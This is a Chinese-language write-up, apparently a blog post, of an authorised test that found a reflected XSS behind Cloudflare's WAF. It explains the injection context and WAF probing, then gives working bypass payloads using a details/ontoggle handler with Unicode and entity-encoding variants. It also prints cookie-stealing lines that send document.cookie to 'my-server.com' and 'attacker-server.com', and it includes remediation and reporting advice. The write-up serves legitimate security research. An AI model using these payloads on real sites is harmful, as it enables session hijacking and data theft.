实战绕过Cloudflare WAF:反射型XSS漏洞挖掘与利用全解析

实战绕过Cloudflare WAF:反射型XSS漏洞挖掘与利用全解析 1. 项目概述一次与WAF的“捉迷藏”搞安全测试的朋友都知道现在想找到一个“裸奔”的网站太难了尤其是那些有点规模的基本都套上了Cloudflare这样的全球性WAFWeb应用防火墙。它就像一道智能化的城墙能拦截掉大部分自动化扫描和常见的攻击载荷。所以当我在一次针对某个RDP远程桌面协议相关项目的授权测试中发现其子域名部署在Cloudflare后面时既觉得是挑战又有点兴奋。挑战在于常规的XSS Payload一打过去就被秒拦兴奋在于如果能绕过去那这个漏洞的价值和挖掘过程的含金量就完全不一样了。今天要分享的就是这次“猫鼠游戏”的全过程核心是如何在一个看似被严密防护的反射型XSS注入点上通过多轮技巧组合最终让浏览器成功执行了我的脚本。整个过程不涉及任何对Cloudflare服务本身的攻击纯粹是应用层逻辑的对抗。反射型XSS简单说就是攻击者构造一个含有恶意脚本的链接用户点击后服务器会“反射”回这个脚本并在用户的浏览器里执行。它的重点绝对不仅仅是“找注入点”。找到一个参数能回显内容这只是万里长征第一步甚至可以说是最简单的一步。真正的难点在于你找到的注入点输出上下文是什么是HTML标签内、属性里、JavaScript字符串中还是纯文本区域输出内容有没有被过滤、编码、截断最关键的是目标有没有部署WAF比如Cloudflare它的规则集是怎样的你的Payload如何既能逃过WAF的检测又能在特定的浏览器上下文中被成功解析执行这一连串的问题才是反射型XSS漏洞挖掘的核心。这次经历就是一个完美的案例展示了从发现可疑点到分析上下文再到设计、测试、迭代绕过Payload的完整思路。2. 漏洞挖掘的整体思路与侦察阶段我的目标是一个与远程桌面管理相关的Web应用。在信息收集阶段我发现其主站防护非常严密但通过子域名枚举找到了一个status.xxx.com的子域。这个子域看起来像是一个内部状态监控或仪表盘页面通常这类页面交互逻辑相对简单但可能包含一些动态内容显示功能是很好的测试目标。2.1 初探与注入点发现首先是对该子域进行常规的目录和参数扫描。我用了ffuf配合一个较大的参数字典很快发现了一个有趣的端点/api/v1/check_status。通过Burp Suite抓包观察这个端点接收一个report_id的GET参数然后返回一段包含该ID相关状态的HTML片段。最初的测试非常基础我提交了report_idtest页面返回“正在查询报告test的状态...”。这说明参数值被直接回显到了HTML页面中。紧接着我尝试了经典的XSS测试字符report_idtest。页面返回变成了“正在查询报告 的状态...”。尖括号被原样显示这意味着它们可能被HTML实体编码了查看网页源代码确认是test或者被某种过滤处理了。但这并不一定是坏事它说明了服务器对输入做了处理我需要知道处理规则。为了探测过滤规则我尝试了更复杂的Payloadreport_idtest“onmouseoveralert(1)。如果输出在属性里这个可能会生效。但请求发出后页面没有正常返回而是收到了一个Cloudflare的拦截页面提示“安全检查中...”。WAF出手了。这是一个关键信号第一注入点存在参数值被回显第二Cloudflare WAF正在监控请求并对疑似攻击的载荷进行阻断。2.2 分析输出上下文与WAF策略被WAF拦截后我的工作分成了两条并行的线一是精确分析参数值在页面中的输出位置上下文二是试探Cloudflare WAF的规则宽松程度。上下文分析我提交了一个无害但独特的字符串report_idCON-TEXT-TEST-123然后仔细查看返回页面的完整HTML源码。通过搜索我发现我的输入出现在如下位置div class\status-container\ h2查询状态: span id\display-id\CON-TEXT-TEST-123/span/h2 div class\details\.../div /div太棒了这是一个非常理想的上下文。我的输入被直接放在了span标签的正文内容即开标签span和闭标签/span之间。这意味着我注入的代码会直接出现在HTML的body部分只要我能闭合前面的span标签就能引入新的HTML标签或属性。WAF策略试探Cloudflare的WAF不是铁板一块它有不同级别的安全规则。我需要知道它到底对哪些模式敏感。我开始了低强度的模糊测试尝试纯脚本标签script。 -- 被阻断。尝试事件处理器onload。 -- 被阻断。尝试javascript:协议javascript:alert(1)。 -- 被阻断。尝试大小写混淆ScRiPt。 -- 被阻断。Cloudflare通常大小写不敏感尝试插入无关字符scrscriptipt。 -- 被阻断。WAF会做规范化处理几乎所有明显的XSS向量都被瞬间拦截。但这反而让我更有信心了因为WAF的严格拦截恰恰说明后端服务器可能没有做额外的、更深入的过滤安全完全依赖WAF。我的目标就从“绕过后端过滤”变成了“绕过Cloudflare WAF的规则匹配”。注意这个阶段一定要使用低频率、手工测试避免触发Cloudflare的速率限制或更严格的挑战如5秒盾。每个测试之间间隔几秒钟并且最好能切换一下IP或使用Burp的Repeater模块配合手动发送。3. 绕过Cloudflare WAF的核心技巧解析直接对抗WAF的正则表达式规则是低效的。我的思路是利用HTML、JavaScript语法以及浏览器解析的“宽容性”构造一些对人类WAF规则来说不像攻击但对浏览器来说却是有效代码的Payload。以下是几个关键方向的尝试和原理。3.1 利用未过滤的HTML标签与属性既然script、img、svg这些高危标签被盯得很死我就转向一些更“冷门”或功能性的标签。我尝试了details、iframe、audio等发现iframe和audio也会被拦截但details标签似乎没有被重点关照。我构造了Payload/spandetails open ontogglealert(1)。这里做了几件事/span首先闭合掉包裹我输入的span标签这样后续内容就不会被约束在span内。details open插入一个details标签并设置open属性使其默认展开。这个标签本身是合法的HTML5标签。ontogglealert(1)为details标签添加ontoggle事件处理器。当details元素的展开状态改变时因为设置了open页面加载时就会触发一次状态改变会执行alert(1)。我将这个Payload发送出去心跳加速地等待。结果页面正常返回没有Cloudflare拦截我赶紧查看页面源码发现它被完整地嵌入了span id\display-id\/spandetails open ontogglealert(1)/span注意页面原始闭标签/span还在但这不影响因为浏览器会尽力纠正HTML结构它看到我们提前闭合了span会把最后的/span当作一个无效标签处理。然而浏览器并没有弹窗。我检查了控制台发现错误alert is not defined。原来这个页面处于一个严格的CSP内容安全策略或沙盒环境中alert函数被禁用了。这是一个新的障碍但我首先感到高兴的是WAF被绕过了我的HTML标签和事件处理器成功注入到了页面中。3.2 处理被禁用的标准函数与CSPalert、confirm、prompt这些函数经常在测试环境或某些CSP下被禁用。我需要一个更通用的证明漏洞存在的方法。通常有两种思路使用未被禁用的函数比如console.log但它在用户端不可见除非打开控制台。更好的选择是触发一个视觉变化例如修改页面标题(document.title)、改变某个元素的样式(element.style.backgroundred)或者使用print()函数如果可用。发起一个外部网络请求这是证明漏洞危害性的更强有力的证据。可以尝试使用fetch、XMLHttpRequest或者更古老的Image对象来向一个我控制的服务器发起请求从而带出用户Cookie或会话信息。我决定采用第二种因为它能证明漏洞可能导致数据泄露。我构造了新的Payload/spandetails open ontoggle\var inew Image();i.srchttp://my-server.com/steal?cencodeURIComponent(document.cookie);\这里ontoggle事件触发时会创建一个Image对象并将其src属性指向我搭建的带有查询参数的URL。document.cookie会被附加到URL中发送到我的服务器。即使页面有CSP限制script-src对于通过img标签发起的请求Image对象模拟的也是图片请求限制可能不同有机会成功。再次发送依然没有触发WAF我刷新页面立刻查看我的服务器日志。激动人心的时刻到了——日志里出现了一条来自目标用户的访问记录虽然cookie字段可能是空的HttpOnly或路径限制但至少证明了我的JavaScript代码成功执行了。反射型XSS漏洞被确认并且成功绕过了Cloudflare WAF。3.3 高级混淆与多重编码技巧上面的Payload已经成功了但为了应对可能更严格的WAF规则或后续修复安全研究者通常会准备一些备选绕过方案。这里分享几种进阶思路1. 利用JavaScript Unicode转义浏览器能解析Unicode转义后的字符串。例如alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。你可以将整个事件处理器里的代码都进行转义。WAF的规则可能不会深度解码Unicode后再匹配。ontoggle\\u0063\u006f\u006e\u0073\u006f\u006c\u0065.\u006c\u006f\u0067(1)\2. 利用HTML实体编码与双重编码Cloudflare可能会解码一次HTML实体但不会解码两次。假设后端在回显前做了HTML实体编码但WAF检查的是解码前的数据我们可以尝试混淆。原始Payloaddetails ontogglealert(1)进行一次HTML实体编码lt;details ontogglealert(1)gt;对alert再进行一次编码仅编码部分lt;details ontoggleamp;#97;lert(1)gt;这种部分、多重编码的组合有时能扰乱WAF的解析逻辑。3. 利用标签属性本身的特性换行和Tab在HTML中标签属性值可以用换行符或Tab隔开。details ontogglealert(1)可以写成details ontoggle alert(1) 这看起来很奇怪但浏览器能理解。WAF的规则可能是一行行匹配正则这种换行可能绕过某些简单的行内匹配。多余的空格和无效属性插入一些无意义的属性或多余的空格如details x\y\ ontogglealert(1) z\a\。目的是破坏WAF规则中固定的字符串模式。4. 研究特定标签的冷门事件除了ontoggledetails标签还有onclick但需要点击。其他标签如body的onhashchange、input的onfocus、marquee的onstart等都是可能被忽略的向量。实操心得绕过WAF是一个持续对抗的过程。没有一劳永逸的Payload。最好的方法是建立一个自己的测试库包含各种标签、事件、编码方式的组合。在测试时采用“增量测试”法先注入一个无害的标签看是否过滤再添加一个简单的事件看是否拦截最后替换事件内容为攻击载荷。同时密切观察WAF的响应如果某个Payload从拦截变为放行那可能就是突破口。4. 完整的漏洞利用链与PoC构造确认漏洞存在并找到稳定的绕过方法后下一步就是构造一个完整的、可复现的漏洞证明PoC并思考其潜在的影响。4.1 最终的有效Payload结合上下文分析和WAF绕过技巧我最终稳定利用的Payload如下/api/v1/check_status?report_id%3C%2Fspan%3E%3Cdetails%20open%20ontoggle%3D%22var%20i%3Dnew%20Image%28%29%3Bi.src%3D%27https%3A%2F%2Fattacker-server.com%2Flog%3Fdata%3D%27%2BencodeURIComponent%28document.cookie%29%3B%22%3EURL解码后是/api/v1/check_status?report_id/spandetails open ontogglevar inew Image();i.srchttps://attacker-server.com/log?dataencodeURIComponent(document.cookie);工作原理拆解/span闭合原生的span标签摆脱束缚。details open ontoggle...插入一个带有open属性的details元素确保页面加载即触发ontoggle事件。事件处理器中的JavaScript会创建一个Image对象并将其src设置为攻击者的服务器地址同时将当前页面的document.cookie作为参数附加。一旦触发就会向攻击者服务器发送一个HTTP GET请求泄露Cookie。4.2 漏洞影响范围评估这个反射型XSS漏洞的影响需要结合具体场景评估直接危害攻击者可以构造恶意链接通过钓鱼邮件、社交工程等方式诱骗已登录的用户点击。用户点击后其在该子域名下的会话Cookie可能被窃取导致账户被劫持。利用限制需要交互属于反射型XSS必须让用户点击链接。CSP限制如果目标站点配置了强有力的CSP如script-src self那么我上面的Image外带请求也可能被阻止。但在本次测试中CSP似乎并未严格限制img-src所以成功了。在实际漏洞报告中需要测试不同浏览器的CSP遵从情况。Cookie属性如果Cookie设置了HttpOnly属性那么通过document.cookie是无法读取的这会大大降低漏洞危害。但攻击者依然可以执行其他操作如模拟用户操作、窃取页面内容、进行客户端钓鱼等。漏洞位置位于/api/v1/check_status接口。这个接口看起来是用于内部状态查询可能权限不高但往往也意味着过滤和审计可能不如主业务接口严格更容易成为突破口。4.3 漏洞报告要点在向SRC安全应急响应中心或企业提交漏洞报告时不能只丢一个Payload。一个高质量的报告应包括清晰的重现步骤从访问哪个URL开始每一步操作是什么预期看到什么结果。完整的HTTP请求/响应提供Burp Suite截取的原始请求和响应数据特别是包含Payload的请求和服务器返回的HTML源码。漏洞原理分析简要说明参数如何被不安全地回显以及WAF是如何被绕过的。影响证明提供截图或视频证明恶意代码确实执行了例如外带服务器收到请求的日志截图。修复建议提供治标和治本的建议。例如治标紧急在Cloudflare WAF规则中针对该特定路径或参数添加更严格的过滤规则但这不是根本办法。治本在后端代码中对report_id参数进行严格的输出编码。根据其输出上下文HTML标签内容应采用HTML实体编码如将转为lt;转为gt;转为amp;转为quot;等。推荐使用安全的编程语言库函数来完成而不是手动替换。5. 漏洞挖掘中的常见陷阱与排查实录在这次挖掘和日常工作中我积累了一些容易踩坑的地方和排查技巧这里分享给大家。5.1 为什么Payload没弹窗——系统性排查清单当你觉得Payload应该生效却没效果时别急着放弃按这个清单排查排查步骤可能原因检查方法1. 查看页面源代码Payload被过滤、编码、截断在浏览器中右键“查看页面源代码”搜索你注入的字符串看它是否完整、原样地出现在HTML中。2. 检查浏览器控制台JavaScript语法错误、函数未定义、CSP违规打开开发者工具(F12)的Console面板查看是否有红色错误信息。常见错误如“Uncaught ReferenceError: alert is not defined”或“Refused to execute inline script because of CSP”。3. 确认事件是否触发事件触发条件未满足对于onmouseover需要鼠标悬停onclick需要点击。使用onload、onerror针对img等、ontoggle配合open等可自动触发的事件更可靠。4. 模拟用户交互Payload在动态加载的内容中如果内容是通过Ajax异步加载的事件绑定可能失效。尝试在控制台手动执行你的JS代码看是否能运行。5. 检查网络请求外带请求被阻止如果使用Image或fetch外带数据打开Network面板查看请求是否真的发出去了是否被浏览器策略如CSP阻止。6. 尝试简化PayloadPayload过于复杂导致解析问题先用一个最简单的img srcx onerrorconsole.log(1)测试确认基础执行环境。再逐步添加你的复杂逻辑。7. 更换浏览器/环境浏览器XSS过滤器拦截某些浏览器如旧版IE、Chrome的XSS Auditor会拦截部分反射型XSS。尝试在无痕模式或不同浏览器下测试。5.2 对抗WAF时的注意事项速率限制Cloudflare等WAF对高频请求非常敏感。在Repeater中疯狂重放测试Payload很容易触发速率限制甚至IP临时封禁。务必手动控制发送间隔或者使用Burp的Intruder模块设置延迟。规则学习有些WAF具备学习模式。如果你持续攻击它可能会动态调整规则将你的IP或会话标记为恶意导致后续所有请求都被挑战。建议在测试期间清理Cookie或使用不同的会话。关注响应头仔细查看HTTP响应头。Server: cloudflare表明流量经过Cloudflare。CF-RAY头是Cloudflare的唯一标识。有时WAF拦截和放行的响应头会有细微差别。不要只测一个点如果一个参数被防得死死的试试同个页面的其他参数或者不同功能的页面。WAF的规则可能是基于路径或参数名配置的可能存在薄弱点。5.3 从“找注入点”到“利用漏洞”的思维转变很多新手挖XSS找到一个回显点丢几个通用Payload没弹窗就放弃了。这是远远不够的。真正的挖掘是上下文意识你的输入出现在哪里是div你的输入/div还是input value你的输入或是scriptvar id 你的输入;/script每种上下文需要的Payload构造方式天差地别。过滤绕过没弹窗不代表安全。看看回显的内容和是不是变成了lt;和gt;是不是变成了quot;有没有被删除有没有被限制长度分析过滤规则思考如何用其他方式如不用尖括号的事件处理器、JavaScript URI、CSS表达式等达成目的。WAF绕过这是当前挖洞的常态。把它当作一个有趣的解谜游戏。了解常见的WAF绕过技巧编码、混淆、冷门标签/事件、语法变异并组合使用。这次绕过Cloudflare的反射型XSS挖掘完整地走完了从信息收集、注入点发现、上下文分析、WAF对抗、Payload构造到影响评估的全过程。核心收获是面对现代WAF漏洞挖掘不再是简单的“扫描-发现-利用”而是一场需要耐心、创造力和对Web技术深刻理解的“博弈”。最重要的不是记住某一个Payload而是掌握那种层层递进、见招拆招的分析和解决问题思路。下次当你看到一个被Cloudflare保护的站点时希望你能想起这篇文章然后带着更敏锐的眼光和更充足的技巧开始你的“捉迷藏”之旅。